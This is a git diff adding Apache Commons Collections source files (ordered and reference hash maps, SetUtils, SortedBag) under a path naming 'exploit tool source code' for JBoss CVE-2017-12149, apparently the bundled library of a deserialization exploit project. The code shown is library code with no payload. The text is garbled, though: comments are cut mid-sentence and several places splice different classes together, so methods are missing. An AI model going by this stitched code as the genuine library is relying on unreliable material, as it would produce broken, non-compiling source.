+ for (Iterator iter = entrySet().iterator(); iter.hasNext();) {
+ Map.Entry entry = (Map.Entry)iter.next();
+ out.writeObject(entry.getKey());
+ out.writeObject(entry.getValue());
+ }
+ out.writeObject(null);
+ }
+
+
+ /**
+ * Reads the contents of this object from the given input stream.
+ *
+ * @param inp the input stream to read from
+ * @throws IOException if the stream raises it
+ * @throws ClassNotFoundException if the stream raises it
+ */
+ private void readObject(ObjectInputStream inp) throws IOException, ClassNotFoundException {
+ inp.defaultReadObject();
+ table = new Entry[inp.readInt()];
+ threshold = (int)(table.length * loadFactor);
+ queue = new ReferenceQueue();
+ Object key = inp.readObject();
+ while (key != null) {
+ Object value = inp.readObject();
+ put(key, value);
+ key = inp.readObject();
+ }
+ }
+
+
+ /**
+ * Constructs a reference of the given type to the given
+ * referent. The reference is registered with the queue
+ * for later purging.
+ *
+ * @param type HARD, SOFT or WEAK
+ * @param referent the object to refer to
+ * @param hash the hash code of the key of the mapping;
+ * this number might be different from referent.hashCode() if
+ * the referent represents a value and not a key
+ */
+ private Object toReference(int type, Object referent, int hash) {
+ switch (type) {
+ case HARD: return referent;
+ case SOFT: return new SoftRef(hash, referent, queue);
+ case WEAK: return new WeakRef(hash, referent, queue);
+ default: throw new Error();
+ }
+ }
+
+
+ /**
+ * Returns the entry associated with the given key.
+ *
+ * @param key the key of the entry to look up
+ * @return the entry associated with that key, or null
+ * if the key is not in this map
+ */
+ private Entry getEntry(Object key) {
+ if (key == null) return null;
+ int hash = key.hashCode();
+ int index = indexFor(hash);
+ for (Entry entry = table[index]; entry != null; entry = entry.next) {
+ if ((entry.hash == hash) && key.equals(entry.getKey())) {
+ return entry;
+ }
+ }
+ return null;
+ }
+
+
+ /**
+ * Converts the given hash code into an index into the
+ * hash table.
+ */
+ private int indexFor(int hash) {
+ // mix the bits to avoid bucket collisions...
+ hash += ~(hash << 15);
+ hash ^= (hash >>> 10);
+ hash += (hash << 3);
+ hash ^= (hash >>> 6);
+ hash += ~(hash << 11);
+ hash ^= (hash >>> 16);
+ return hash & (table.length - 1);
+ }
+
+
+
+ /**
+ * Resizes this hash table by doubling its capacity.
+ * This is an expensive operation, as entries must
+ * be copied from the old smaller table to the new
+ * bigger table.
+ */
+ private void resize() {
+ Entry[] old = table;
+ table = new Entry[old.length * 2];
+
+ for (int i = 0; i < old.length; i++) {
+ Entry next = old[i];
+ while (next != null) {
+ Entry entry = next;
+ next = next.next;
+ int index = indexFor(entry.hash);
+ entry.next = table[index];
+ table[index] = entry;
+ }
+ old[i] = null;
+ }
+ threshold = (int)(table.length * loadFactor);
+ }
+
+
+
+ /**
+ * Purges stale mappings from this map.
+ * true
if this map is empty.
+ *
+ * @return true
if this map is empty
+ */
+ public boolean isEmpty() {
+ purge();
+ return size == 0;
+ }
+
+
+ /**
+ * Returns true
if this map contains the given key.
+ *
+ * @return true if the given key is in this map
+ */
+ public boolean containsKey(Object key) {
+ purge();
+ Entry entry = getEntry(key);
+ if (entry == null) return false;
+ return entry.getValue() != null;
+ }
+
+
+ /**
+ * Returns the value associated with the given key, if any.
+ *
+ * @return the value associated with the given key, or null
+ * if the key maps to no value
+ */
+ public Object get(Object key) {
+ purge();
+ Entry entry = getEntry(key);
+ if (entry == null) return null;
+ return entry.getValue();
+ }
+
+
+ /**
+ * Associates the given key with the given value.null
+ * key and value.
+ */
+ private static final Entry createSentinel() {
+ Entry s = new Entry(null, null);
+ s.prev = s;
+ s.next = s;
+ return s;
+ }
+
+ /**
+ * Sentinel used to hold the head and tail of the list of entries.
+ */
+ private Entry sentinel;
+
+ /**
+ * Map of keys to entries
+ */
+ private HashMap entries;
+
+ /**
+ * Holds the number of modifications that have occurred to the map,
+ * excluding modifications made through a collection view's iterator
+ * (e.g. entrySet().iterator().remove()). This is used to create a
+ * fail-fast behavior with the iterators.
+ */
+ private transient long modCount = 0;
+
+ /**
+ * Construct a new sequenced hash map with default initial size and load
+ * factor.
+ */
+ public SequencedHashMap() {
+ sentinel = createSentinel();
+ entries = new HashMap();
+ }
+
+ /**
+ * Construct a new sequenced hash map with the specified initial size and
+ * default load factor.
+ *
+ * @param initialSize the initial size for the hash table
+ *
+ * @see HashMap#HashMap(int)
+ */
+ public SequencedHashMap(int initialSize) {
+ sentinel = createSentinel();
+ entries = new HashMap(initialSize);
+ }
+
+ /**
+ * Construct a new sequenced hash map with the specified initial size and
+ * load factor.
+ *
+ * @param initialSize the initial size for the hash table
+ *
+ * @param loadFactor the load factor for the hash table.
+ *
+ * @see HashMap#HashMap(int,float)
+ */
+ public SequencedHashMap(int initialSize, float loadFactor) {
+ sentinel = createSentinel();
+ entries = new HashMap(initialSize, loadFactor);
+ }
+
+ /**
+ * Construct a new sequenced hash map and add all the elements in the
+ * specified map. The order in which the mappings in the specified map are
+ * added is defined by {@link #putAll(Map)}.
+ */
+ public SequencedHashMap(Map m) {
+ this();
+ putAll(m);
+ }
+
+ /**
+ * Removes an internal entry from the linked list. This does not remove
+ * it from the underlying map.
+ */
+ private void removeEntry(Entry entry) {
+ entry.next.prev = entry.prev;
+ entry.prev.next = entry.next;
+ }
+
+ /**
+ * Inserts a new internal entry to the tail of the linked list. This does
+ * not add the entry to the underlying map.
+ */
+ private void insertEntry(Entry entry) {
+ entry.next = sentinel;
+ entry.prev = sentinel.prev;
+ sentinel.prev.next = entry;
+ sentinel.prev = entry;
+ }
+
+ // per Map.size()
+
+ /**
+ * Implements {@link Map#size()}.
+ */
+ public int size() {
+ // use the underlying Map's size since size is not maintained here.
+ return entries.size();
+ }
+
+ /**
+ * Implements {@link Map#isEmpty()}.
+ */
+ public boolean isEmpty() {
+ // for quick check whether the map is entry, we can check the linked list
+ // and see if there's anything in it.
+ return sentinel.next == sentinel;
+ }
+
+ /**
+ * Implements {@link Map#containsKey(Object)}.
+ */
+ public boolean containsKey(Object key) {
+ // pass on to underlying map implementation
+ return entries.containsKey(key);
+ }
+
+ /**
+ * Implements {@link Map#containsValue(Object)}.
+ */
+ public boolean containsValue(Object value) {
+ // unfortunately, we cannot just pass this call to the underlying map
+ // because we are mapping keys to entries, not keys to values. The
+ // underlying map doesn't have an efficient implementation anyway, so this
+ // isn't a big deal.
+
+ // do null comparison outside loop so we only need to do it once. This
+ // provides a tighter, more efficient loop at the expense of slight
+ // code duplication.
+ if (value == null) {
+ for (Entry pos = sentinel.next; pos != sentinel; pos = pos.next) {
+ if (pos.getValue() == null)
+ return true;
+ }
+ } else {
+ for (Entry pos = sentinel.next; pos != sentinel; pos = pos.next) {
+ if (value.equals(pos.getValue()))
+ return true;
+ }
+ }
+ return false;
+ }
+
+ /**
+ * Implements {@link Map#get(Object)}.
+ */
+ public Object get(Object o) {
+ // find entry for the specified key object
+ Entry entry = (Entry) entries.get(o);
+ if (entry == null)
+ return null;
+
+ return entry.getValue();
+ }
+
+ /**
+ * Return the entry for the "oldest" mapping. That is, return the Map.Entry
+ * for the key-value pair that was first put into the map when compared to
+ * all the other pairings in the map. This behavior is equivalent to using
+ * entrySet().iterator().next()
, but this method provides an
+ * optimized implementation.
+ *
+ * @return The first entry in the sequence, or null
if the
+ * map is empty.
+ */
+ public Map.Entry getFirst() {
+ // sentinel.next points to the "first" element of the sequence -- the head
+ // of the list, which is exactly the entry we need to return. We must test
+ // for an empty list though because we don't want to return the sentinel!
+ return (isEmpty()) ? null : sentinel.next;
+ }
+
+ /**
+ * Return the key for the "oldest" mapping. That is, return the key for the
+ * mapping that was first put into the map when compared to all the other
+ * objects in the map. This behavior is equivalent to using
+ * getFirst().getKey()
, but this method provides a slightly
+ * optimized implementation.
+ *
+ * @return The first key in the sequence, or null
if the
+ * map is empty.
+ */
+ public Object getFirstKey() {
+ // sentinel.next points to the "first" element of the sequence -- the head
+ // of the list -- and the requisite key is returned from it. An empty list
+ // does not need to be tested. In cases where the list is empty,
+ // sentinel.next will point to the sentinel itself which has a null key,
+ // which is exactly what we would want to return if the list is empty (a
+ // nice convenient way to avoid test for an empty list)
+ return sentinel.next.getKey();
+ }
+
+ /**
+ * Return the value for the "oldest" mapping. That is, return the value for
+ * the mapping that was first put into the map when compared to all the
+ * other objects in the map. This behavior is equivalent to using
+ * getFirst().getValue()
, but this method provides a slightly
+ * optimized implementation.
+ *
+ * @return The first value in the sequence, or null
if the
+ * map is empty.
+ */
+ public Object getFirstValue() {
+ // sentinel.next points to the "first" element of the sequence -- the head
+ // of the list -- and the requisite value is returned from it. An empty
+ // list does not need to be tested. In cases where the list is empty,
+ // sentinel.next will point to the sentinel itself which has a null value,
+ // which is exactly what we would want to return if the list is empty (a
+ // nice convenient way to avoid test for an empty list)
+ return sentinel.next.getValue();
+ }
+
+ /**
+ * Return the entry for the "newest" mapping. That is, return the Map.Entry
+ * for the key-value pair that was first put into the map when compared to
+ * all the other pairings in the map. The behavior is equivalent to:
+ *
+ *
+ * Object obj = null;
+ * Iterator iter = entrySet().iterator();
+ * while(iter.hasNext()) {
+ * obj = iter.next();
+ * }
+ * return (Map.Entry)obj;
+ *
+ *
+ * However, the implementation of this method ensures an O(1) lookup of the
+ * last key rather than O(n).
+ *
+ * @return The last entry in the sequence, or null
if the map
+ * is empty.
+ */
+ public Map.Entry getLast() {
+ // sentinel.prev points to the "last" element of the sequence -- the tail
+ // of the list, which is exactly the entry we need to return. We must test
+ // for an empty list though because we don't want to return the sentinel!
+ return (isEmpty()) ? null : sentinel.prev;
+ }
+
+ /**
+ * Return the key for the "newest" mapping. That is, return the key for the
+ * mapping that was last put into the map when compared to all the other
+ * objects in the map. This behavior is equivalent to using
+ * getLast().getKey()
, but this method provides a slightly
+ * optimized implementation.
+ *
+ * @return The last key in the sequence, or null
if the map is
+ * empty.
+ */
+ public Object getLastKey() {
+ // sentinel.prev points to the "last" element of the sequence -- the tail
+ // of the list -- and the requisite key is returned from it. An empty list
+ // does not need to be tested. In cases where the list is empty,
+ // sentinel.prev will point to the sentinel itself which has a null key,
+ // which is exactly what we would want to return if the list is empty (a
+ // nice convenient way to avoid test for an empty list)
+ return sentinel.prev.getKey();
+ }
+
+ /**
+ * Return the value for the "newest" mapping. That is, return the value for
+ * the mapping that was last put into the map when compared to all the other
+ * objects in the map. This behavior is equivalent to using
+ * getLast().getValue()
, but this method provides a slightly
+ * optimized implementation.
+ *
+ * @return The last value in the sequence, or null
if the map
+ * is empty.
+ */
+ public Object getLastValue() {
+ // sentinel.prev points to the "last" element of the sequence -- the tail
+ // of the list -- and the requisite value is returned from it. An empty
+ // list does not need to be tested. In cases where the list is empty,
+ // sentinel.prev will point to the sentinel itself which has a null value,
+ // which is exactly what we would want to return if the list is empty (a
+ // nice convenient way to avoid test for an empty list)
+ return sentinel.prev.getValue();
+ }
+
+ /**
+ * Implements {@link Map#put(Object, Object)}.
+ */
+ public Object put(Object key, Object value) {
+ modCount++;
+
+ Object oldValue = null;
+
+ // lookup the entry for the specified key
+ Entry e = (Entry) entries.get(key);
+
+ // check to see if it already exists
+ if (e != null) {
+ // remove from list so the entry gets "moved" to the end of list
+ removeEntry(e);
+
+ // update value in map
+ oldValue = e.setValue(value);
+
+ // Note: We do not update the key here because its unnecessary. We only
+ // do comparisons using equals(Object) and we know the specified key and
+ // that in the map are equal in that sense. This may cause a problem if
+ // someone does not implement their hashCode() and/or equals(Object)
+ // method properly and then use it as a key in this map.
+ } else {
+ // add new entry
+ e = new Entry(key, value);
+ entries.put(key, e);
+ }
+ // assert(entry in map, but not list)
+
+ // add to list
+ insertEntry(e);
+
+ return oldValue;
+ }
+
+ /**
+ * Implements {@link Map#remove(Object)}.
+ */
+ public Object remove(Object key) {
+ Entry e = removeImpl(key);
+ return (e == null) ? null : e.getValue();
+ }
+
+ /**
+ * Fully remove an entry from the map, returning the old entry or null if
+ * there was no such entry with the specified key.
+ */
+ private Entry removeImpl(Object key) {
+ Entry e = (Entry) entries.remove(key);
+ if (e == null)
+ return null;
+ modCount++;
+ removeEntry(e);
+ return e;
+ }
+
+ /**
+ * Adds all the mappings in the specified map to this map, replacing any
+ * mappings that already exist (as per {@link Map#putAll(Map)}). The order
+ * in which the entries are added is determined by the iterator returned
+ * from {@link Map#entrySet()} for the specified map.
+ *
+ * @param t the mappings that should be added to this map.
+ *
+ * @throws NullPointerException if t
is null
+ */
+ public void putAll(Map t) {
+ Iterator iter = t.entrySet().iterator();
+ while (iter.hasNext()) {
+ Map.Entry entry = (Map.Entry) iter.next();
+ put(entry.getKey(), entry.getValue());
+ }
+ }
+
+ /**
+ * Implements {@link Map#clear()}.
+ */
+ public void clear() {
+ modCount++;
+
+ // remove all from the underlying map
+ entries.clear();
+
+ // and the list
+ sentinel.next = sentinel;
+ sentinel.prev = sentinel;
+ }
+
+ /**
+ * Implements {@link Map#equals(Object)}.
+ */
+ public boolean equals(Object obj) {
+ if (obj == null)
+ return false;
+ if (obj == this)
+ return true;
+
+ if (!(obj instanceof Map))
+ return false;
+
+ return entrySet().equals(((Map) obj).entrySet());
+ }
+
+ /**
+ * Implements {@link Map#hashCode()}.
+ */
+ public int hashCode() {
+ return entrySet().hashCode();
+ }
+
+ /**
+ * Provides a string representation of the entries within the map. The
+ * format of the returned string may change with different releases, so this
+ * method is suitable for debugging purposes only. If a specific format is
+ * required, use {@link #entrySet()}.{@link Set#iterator() iterator()} and
+ * iterate over the entries in the map formatting them as appropriate.
+ */
+ public String toString() {
+ StringBuffer buf = new StringBuffer();
+ buf.append('[');
+ for (Entry pos = sentinel.next; pos != sentinel; pos = pos.next) {
+ buf.append(pos.getKey());
+ buf.append('=');
+ buf.append(pos.getValue());
+ if (pos.next != sentinel) {
+ buf.append(',');
+ }
+ }
+ buf.append(']');
+
+ return buf.toString();
+ }
+
+ /**
+ * Implements {@link Map#keySet()}.
+ */
+ public Set keySet() {
+ return new AbstractSet() {
+
+ // required impls
+ public Iterator iterator() {
+ return new OrderedIterator(KEY);
+ }
+ public boolean remove(Object o) {
+ Entry e = SequencedHashMap.this.removeImpl(o);
+ return (e != null);
+ }
+
+ // more efficient impls than abstract set
+ public void clear() {
+ SequencedHashMap.this.clear();
+ }
+ public int size() {
+ return SequencedHashMap.this.size();
+ }
+ public boolean isEmpty() {
+ return SequencedHashMap.this.isEmpty();
+ }
+ public boolean contains(Object o) {
+ return SequencedHashMap.this.containsKey(o);
+ }
+
+ };
+ }
+
+ /**
+ * Implements {@link Map#values()}.
+ */
+ public Collection values() {
+ return new AbstractCollection() {
+ // required impl
+ public Iterator iterator() {
+ return new OrderedIterator(VALUE);
+ }
+ public boolean remove(Object value) {
+ // do null comparison outside loop so we only need to do it once. This
+ // provides a tighter, more efficient loop at the expense of slight
+ // code duplication.
+ if (value == null) {
+ for (Entry pos = sentinel.next; pos != sentinel; pos = pos.next) {
+ if (pos.getValue() == null) {
+ SequencedHashMap.this.removeImpl(pos.getKey());
+ return true;
+ }
+ }
+ } else {
+ for (Entry pos = sentinel.next; pos != sentinel; pos = pos.next) {
+ if (value.equals(pos.getValue())) {
+ SequencedHashMap.this.removeImpl(pos.getKey());
+ return true;
+ }
+ }
+ }
+
+ return false;
+ }
+
+ // more efficient impls than abstract collection
+ public void clear() {
+ SequencedHashMap.this.clear();
+ }
+ public int size() {
+ return SequencedHashMap.this.size();
+ }
+ public boolean isEmpty() {
+ return SequencedHashMap.this.isEmpty();
+ }
+ public boolean contains(Object o) {
+ return SequencedHashMap.this.containsValue(o);
+ }
+ };
+ }
+
+ /**
+ * Implements {@link Map#entrySet()}.
+ */
+ public Set entrySet() {
+ return new AbstractSet() {
+ // helper
+ private Entry findEntry(Object o) {
+ if (o == null)
+ return null;
+ if (!(o instanceof Map.Entry))
+ return null;
+
+ Map.Entry e = (Map.Entry) o;
+ Entry entry = (Entry) entries.get(e.getKey());
+ if (entry != null && entry.equals(e))
+ return entry;
+ else
+ return null;
+ }
+
+ // required impl
+ public Iterator iterator() {
+ return new OrderedIterator(ENTRY);
+ }
+ public boolean remove(Object o) {
+ Entry e = findEntry(o);
+ if (e == null)
+ return false;
+
+ return SequencedHashMap.this.removeImpl(e.getKey()) != null;
+ }
+
+ // more efficient impls than abstract collection
+ public void clear() {
+ SequencedHashMap.this.clear();
+ }
+ public int size() {
+ return SequencedHashMap.this.size();
+ }
+ public boolean isEmpty() {
+ return SequencedHashMap.this.isEmpty();
+ }
+ public boolean contains(Object o) {
+ return findEntry(o) != null;
+ }
+ };
+ }
+
+ // constants to define what the iterator should return on "next"
+ private static final int KEY = 0;
+ private static final int VALUE = 1;
+ private static final int ENTRY = 2;
+ private static final int REMOVED_MASK = 0x80000000;
+
+ private class OrderedIterator implements Iterator {
+ /**
+ * Holds the type that should be returned from the iterator. The value
+ * should be either {@link #KEY}, {@link #VALUE}, or {@link #ENTRY}. To
+ * save a tiny bit of memory, this field is also used as a marker for when
+ * remove has been called on the current object to prevent a second remove
+ * on the same element. Essentially, if this value is negative (i.e. the
+ * bit specified by {@link #REMOVED_MASK} is set), the current position
+ * has been removed. If positive, remove can still be called.
+ */
+ private int returnType;
+
+ /**
+ * Holds the "current" position in the iterator. When pos.next is the
+ * sentinel, we've reached the end of the list.
+ */
+ private Entry pos = sentinel;
+
+ /**
+ * Holds the expected modification count. If the actual modification
+ * count of the map differs from this value, then a concurrent
+ * modification has occurred.
+ */
+ private transient long expectedModCount = modCount;
+
+ /**
+ * Construct an iterator over the sequenced elements in the order in which
+ * they were added. The {@link #next()} method returns the type specified
+ * by returnType
which must be either {@link #KEY}, {@link
+ * #VALUE}, or {@link #ENTRY}.
+ */
+ public OrderedIterator(int returnType) {
+ //// Since this is a private inner class, nothing else should have
+ //// access to the constructor. Since we know the rest of the outer
+ //// class uses the iterator correctly, we can leave of the following
+ //// check:
+ //if(returnType >= 0 && returnType <= 2) {
+ // throw new IllegalArgumentException("Invalid iterator type");
+ //}
+
+ // Set the "removed" bit so that the iterator starts in a state where
+ // "next" must be called before "remove" will succeed.
+ this.returnType = returnType | REMOVED_MASK;
+ }
+
+ /**
+ * Returns whether there is any additional elements in the iterator to be
+ * returned.
+ *
+ * @return true
if there are more elements left to be
+ * returned from the iterator; false
otherwise.
+ */
+ public boolean hasNext() {
+ return pos.next != sentinel;
+ }
+
+ /**
+ * Returns the next element from the iterator.
+ *
+ * @return the next element from the iterator.
+ *
+ * @throws NoSuchElementException if there are no more elements in the
+ * iterator.
+ *
+ * @throws ConcurrentModificationException if a modification occurs in
+ * the underlying map.
+ */
+ public Object next() {
+ if (modCount != expectedModCount) {
+ throw new ConcurrentModificationException();
+ }
+ if (pos.next == sentinel) {
+ throw new NoSuchElementException();
+ }
+
+ // clear the "removed" flag
+ returnType = returnType & ~REMOVED_MASK;
+
+ pos = pos.next;
+ switch (returnType) {
+ case KEY :
+ return pos.getKey();
+ case VALUE :
+ return pos.getValue();
+ case ENTRY :
+ return pos;
+ default :
+ // should never happen
+ throw new Error("bad iterator type: " + returnType);
+ }
+
+ }
+
+ /**
+ * Removes the last element returned from the {@link #next()} method from
+ * the sequenced map.
+ *
+ * @throws IllegalStateException if there isn't a "last element" to be
+ * removed. That is, if {@link #next()} has never been called, or if
+ * {@link #remove()} was already called on the element.
+ *
+ * @throws ConcurrentModificationException if a modification occurs in
+ * the underlying map.
+ */
+ public void remove() {
+ if ((returnType & REMOVED_MASK) != 0) {
+ throw new IllegalStateException("remove() must follow next()");
+ }
+ if (modCount != expectedModCount) {
+ throw new ConcurrentModificationException();
+ }
+
+ SequencedHashMap.this.removeImpl(pos.getKey());
+
+ // update the expected mod count for the remove operation
+ expectedModCount++;
+
+ // set the removed flag
+ returnType = returnType | REMOVED_MASK;
+ }
+ }
+
+ // APIs maintained from previous version of SequencedHashMap for backwards
+ // compatibility
+
+ /**
+ * Creates a shallow copy of this object, preserving the internal structure
+ * by copying only references. The keys and values themselves are not
+ * clone()
'd. The cloned object maintains the same sequence.
+ *
+ * @return A clone of this instance.
+ *
+ * @throws CloneNotSupportedException if clone is not supported by a
+ * subclass.
+ */
+ public Object clone() throws CloneNotSupportedException {
+ // yes, calling super.clone() silly since we're just blowing away all
+ // the stuff that super might be doing anyway, but for motivations on
+ // this, see:
+ // http://www.javaworld.com/javaworld/jw-01-1999/jw-01-object.html
+ SequencedHashMap map = (SequencedHashMap) super.clone();
+
+ // create new, empty sentinel
+ map.sentinel = createSentinel();
+
+ // create a new, empty entry map
+ // note: this does not preserve the initial capacity and load factor.
+ map.entries = new HashMap();
+
+ // add all the mappings
+ map.putAll(this);
+
+ // Note: We cannot just clone the hashmap and sentinel because we must
+ // duplicate our internal structures. Cloning those two will not clone all
+ // the other entries they reference, and so the cloned hash map will not be
+ // able to maintain internal consistency because there are two objects with
+ // the same entries. See discussion in the Entry implementation on why we
+ // cannot implement a clone of the Entry (and thus why we need to recreate
+ // everything).
+
+ return map;
+ }
+
+ /**
+ * Returns the Map.Entry at the specified index
+ *
+ * @throws ArrayIndexOutOfBoundsException if the specified index is
+ * < 0
or >
the size of the map.
+ */
+ private Map.Entry getEntry(int index) {
+ Entry pos = sentinel;
+
+ if (index < 0) {
+ throw new ArrayIndexOutOfBoundsException(index + " < 0");
+ }
+
+ // loop to one before the position
+ int i = -1;
+ while (i < (index - 1) && pos.next != sentinel) {
+ i++;
+ pos = pos.next;
+ }
+ // pos.next is the requested position
+
+ // if sentinel is next, past end of list
+ if (pos.next == sentinel) {
+ throw new ArrayIndexOutOfBoundsException(index + " >= " + (i + 1));
+ }
+
+ return pos.next;
+ }
+
+ /**
+ * Gets the key at the specified index.
+ *
+ * @param index the index to retrieve
+ * @return the key at the specified index, or null
+ * @throws ArrayIndexOutOfBoundsException if the index
is
+ * < 0
or >
the size of the map.
+ */
+ public Object get(int index) {
+ return getEntry(index).getKey();
+ }
+
+ /**
+ * Gets the value at the specified index.
+ *
+ * @param index the index to retrieve
+ * @return the value at the specified index, or null
+ * @throws ArrayIndexOutOfBoundsException if the index
is
+ * < 0
or >
the size of the map.
+ */
+ public Object getValue(int index) {
+ return getEntry(index).getValue();
+ }
+
+ /**
+ * Gets the index of the specified key.
+ *
+ * @param key the key to find the index of
+ * @return the index, or -1 if not found
+ */
+ public int indexOf(Object key) {
+ Entry e = (Entry) entries.get(key);
+ if (e == null) {
+ return -1;
+ }
+ int pos = 0;
+ while (e.prev != sentinel) {
+ pos++;
+ e = e.prev;
+ }
+ return pos;
+ }
+
+ /**
+ * Gets an iterator over the keys.
+ *
+ * @return an iterator over the keys
+ */
+ public Iterator iterator() {
+ return keySet().iterator();
+ }
+
+ /**
+ * Gets the last index of the specified key.
+ *
+ * @param key the key to find the index of
+ * @return the index, or -1 if not found
+ */
+ public int lastIndexOf(Object key) {
+ // keys in a map are guaranteed to be unique
+ return indexOf(key);
+ }
+
+ /**
+ * Returns a List view of the keys rather than a set view. The returned
+ * list is unmodifiable. This is required because changes to the values of
+ * the list (using {@link java.util.ListIterator#set(Object)}) will
+ * effectively remove the value from the list and reinsert that value at
+ * the end of the list, which is an unexpected side effect of changing the
+ * value of a list. This occurs because changing the key, changes when the
+ * mapping is added to the map and thus where it appears in the list.
+ *
+ * key
, or
+ * null
if none existed.
+ *
+ * @throws ArrayIndexOutOfBoundsException if the index
is
+ * < 0
or >
the size of the map.
+ */
+ public Object remove(int index) {
+ return remove(get(index));
+ }
+
+ // per Externalizable.readExternal(ObjectInput)
+
+ /**
+ * Deserializes this map from the given stream.
+ *
+ * @param in the stream to deserialize from
+ * @throws IOException if the stream raises it
+ * @throws ClassNotFoundException if the stream raises it
+ */
+ public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
+ int size = in.readInt();
+ for (int i = 0; i < size; i++) {
+ Object key = in.readObject();
+ Object value = in.readObject();
+ put(key, value);
+ }
+ }
+
+ /**
+ * Serializes this map to the given stream.
+ *
+ * @param out the stream to serialize to
+ * @throws IOException if the stream raises it
+ */
+ public void writeExternal(ObjectOutput out) throws IOException {
+ out.writeInt(size());
+ for (Entry pos = sentinel.next; pos != sentinel; pos = pos.next) {
+ out.writeObject(pos.getKey());
+ out.writeObject(pos.getValue());
+ }
+ }
+
+ // add a serial version uid, so that if we change things in the future
+ // without changing the format, we can still deserialize properly.
+ private static final long serialVersionUID = 3380552487888102930L;
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/SetUtils.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/SetUtils.java"
new file mode 100644
index 0000000..8e5a63a
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/SetUtils.java"
@@ -0,0 +1,325 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.Set;
+import java.util.SortedSet;
+import java.util.TreeSet;
+
+import org.apache.commons.collections.set.ListOrderedSet;
+import org.apache.commons.collections.set.PredicatedSet;
+import org.apache.commons.collections.set.PredicatedSortedSet;
+import org.apache.commons.collections.set.SynchronizedSet;
+import org.apache.commons.collections.set.SynchronizedSortedSet;
+import org.apache.commons.collections.set.TransformedSet;
+import org.apache.commons.collections.set.TransformedSortedSet;
+import org.apache.commons.collections.set.TypedSet;
+import org.apache.commons.collections.set.TypedSortedSet;
+import org.apache.commons.collections.set.UnmodifiableSet;
+import org.apache.commons.collections.set.UnmodifiableSortedSet;
+
+/**
+ * Provides utility methods and decorators for
+ * {@link Set} and {@link SortedSet} instances.
+ *
+ * @since Commons Collections 2.1
+ * @version $Revision: 1.26 $ $Date: 2004/04/01 20:12:00 $
+ *
+ * @author Paul Jack
+ * @author Stephen Colebourne
+ * @author Neil O'Toole
+ * @author Matthew Hawthorne
+ */
+public class SetUtils {
+
+ /**
+ * An empty unmodifiable set.
+ * This uses the {@link Collections} implementation
+ * and is provided for completeness.
+ */
+ public static final Set EMPTY_SET = Collections.EMPTY_SET;
+ /**
+ * An empty unmodifiable sorted set.
+ * This is not provided in the JDK.
+ */
+ public static final SortedSet EMPTY_SORTED_SET = UnmodifiableSortedSet.decorate(new TreeSet());
+
+ /**
+ * SetUtils
should not normally be instantiated.
+ */
+ public SetUtils() {
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Tests two sets for equality as per the equals()
contract
+ * in {@link java.util.Set#equals(java.lang.Object)}.
+ * Set
when you cannot
+ * extend AbstractSet. The method takes Collection instances to enable other
+ * collection types to use the Set implementation algorithm.
+ *
+ *
+ *
+ * @see java.util.Set
+ * @param set1 the first set, may be null
+ * @param set2 the second set, may be null
+ * @return whether the sets are equal by value comparison
+ */
+ public static boolean isEqualSet(final Collection set1, final Collection set2) {
+ if (set1 == set2) {
+ return true;
+ }
+ if (set1 == null || set2 == null || set1.size() != set2.size()) {
+ return false;
+ }
+
+ return set1.containsAll(set2);
+ }
+
+ /**
+ * Generates a hash code using the algorithm specified in
+ * {@link java.util.Set#hashCode()}.
+ * Set
when you cannot
+ * extend AbstractSet. The method takes Collection instances to enable other
+ * collection types to use the Set implementation algorithm.
+ *
+ * @see java.util.Set#hashCode()
+ * @param set the set to calculate the hash code for, may be null
+ * @return the hash code
+ */
+ public static int hashCodeForSet(final Collection set) {
+ if (set == null) {
+ return 0;
+ }
+ int hashCode = 0;
+ Iterator it = set.iterator();
+ Object obj = null;
+
+ while (it.hasNext()) {
+ obj = it.next();
+ if (obj != null) {
+ hashCode += obj.hashCode();
+ }
+ }
+ return hashCode;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Returns a synchronized set backed by the given set.
+ *
+ * Set s = SetUtils.synchronizedSet(mySet);
+ * synchronized (s) {
+ * Iterator i = s.iterator();
+ * while (i.hasNext()) {
+ * process (i.next());
+ * }
+ * }
+ *
+ *
+ * This method uses the implementation in the decorators subpackage.
+ *
+ * @param set the set to synchronize, must not be null
+ * @return a synchronized set backed by the given set
+ * @throws IllegalArgumentException if the set is null
+ */
+ public static Set synchronizedSet(Set set) {
+ return SynchronizedSet.decorate(set);
+ }
+
+ /**
+ * Returns an unmodifiable set backed by the given set.
+ *
+ * Set s = SetUtils.synchronizedSet(mySet);
+ * synchronized (s) {
+ * Iterator i = s.iterator();
+ * while (i.hasNext()) {
+ * process (i.next());
+ * }
+ * }
+ *
+ *
+ * This method uses the implementation in the decorators subpackage.
+ *
+ * @param set the sorted set to synchronize, must not be null
+ * @return a synchronized set backed by the given set
+ * @throws IllegalArgumentException if the set is null
+ */
+ public static SortedSet synchronizedSortedSet(SortedSet set) {
+ return SynchronizedSortedSet.decorate(set);
+ }
+
+ /**
+ * Returns an unmodifiable sorted set backed by the given sorted set.
+ * Bag
that maintains a sorted order among
+ * its unique representative members.
+ *
+ * @since Commons Collections 2.0
+ * @version $Revision: 1.9 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Chuck Burdick
+ */
+public interface SortedBag extends Bag {
+
+ /**
+ * Returns the comparator associated with this sorted set, or null
+ * if it uses its elements' natural ordering.
+ *
+ * @return the comparator in use, or null if natural ordering
+ */
+ public Comparator comparator();
+
+ /**
+ * Returns the first (lowest) member.
+ *
